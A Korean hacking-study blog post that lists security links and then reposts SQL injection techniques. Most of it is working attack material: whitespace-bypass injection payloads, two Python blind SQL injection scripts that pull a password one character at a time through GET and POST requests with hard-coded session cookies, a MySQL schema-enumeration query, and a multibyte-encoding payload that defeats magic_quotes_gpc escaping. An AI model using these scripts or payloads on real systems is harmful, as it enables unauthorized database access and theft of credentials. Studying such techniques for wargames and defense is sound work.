url

    https://codingsec.net/2016/04/sql-injection/


    https://codingsec.net/2016/05/brute-forcing-html-form-authentication-using-python/



    http://modernpug.github.io/php-the-right-way/

    http://php.net/docs.php


    http://attrition.org/


    https://wikidocs.net/read/750


    http://suninatas.com/



    아래 내용 출처 : http://binaryu.tistory.com/

    SQL Injection 공백 우회방법


    1. Tab : %09

      - no=1%09or%09id='admin'

     

    2. Line Feed (\n): %0a

      - no=1%0aor%0aid='admin'

     

    3. Carrage Return(\r) : %0d

      - no=1%0dor%0did='admin'

     

    4. 주석 : /**/

      - no=1/**/or/**/id='admin'

     

    5. 괄호 : ()

      - no=(1)or(id='admin')

     

    6. 더하기 : +

      - no=1+or+id='admin'


    [PHP2EXE] PHP Compiler/Embedder 1.21

    php로 짠 프로그램을 홈페이지 서버가 없이, PC에서 컴파일하여 실행시킨다.

     

    간단한 php 소스를 수정하면서, 분석할때 유용하다.


    Python Blind Injection Sample


    [GET 방식 샘플]


    import re,urllib,urllib2

    #fw = urllib.urlopen("http://binaryu.tistory.com/index.php?no=2 and substring(pw,1,1)=char(%s)" %i)
    #read = fw.read()

    password=""

    for j in range(1,100):
       print "%d" %j
       for i in range(33,126):
           url="http://binaryu.tistory.com/index.php?no=2+and+substring(pw,%d,1)=char(%d)" %(j,i)
           req=urllib2.Request(url)
           req.add_header('Cookie',"notice=yes; PHPSESSID=863fc9ebeb49ef2bb20976baed9de368")
           read=urllib2.urlopen(req).read()
           ok = re.findall("True",read)
           if ok:
               password=password+chr(i)
               print password
               break



    [POST 방식 샘플]


    import re,urllib,urllib2

    #fw = urllib.urlopen("http://binaryu.tistory.com/index.php?no=2 and substring(pw,1,1)=char(%s)" %i)
    #read = fw.read()

    password=""

    for j in range(1, 33):
       for i in range(48,123):
          if i < 58 or i > 96:
              url="http://binaryu.tistory.com/index.php"
              login_form={"id": "admin' and substr(pw,%d,1)=char(%s)#" %(j,i), "pw": ""}
              login_req=urllib.urlencode(login_form)
              req=urllib2.Request(url,login_req)
              req.add_header('Cookie',"notice=yes; PHPSESSID=c473aaff2c3d93c21ad8a0a2cf505036")
              read=urllib2.urlopen(req).read()
              ok = re.findall("Wrong password!",read)
              if ok:
                  password=password+chr(i)
                  print password
                  break


    Mysql Table Name Search


    Query 구문 마지막에 다음과 같이 procedure analyse()를 추가하면,

     

    관련된 DB명, Table명, Field명을 확인 할 수있다.

     

    select * from table procedure analyse();


    mb_convert_encoding 취약점으로 magic_quotes_gpc 우회하기


    PHP에서 SQL-Injection을 할때, magic_quotes_gpc 설정때문에 '입력이 안될경우 :

     

    mb_convert_encoding 취약점 (%a1 ~ %fe 으로 magic_quotes_gpc %27 우회)


    차단 : id=%27or%201=1%20and%20id=char(97,100,109,105,110)%23&pw=guest
    우회 : id=%aa%27or%201=1%20and%20id=char(97,100,109,105,110)%23&pw=guest



    Posted by beumbae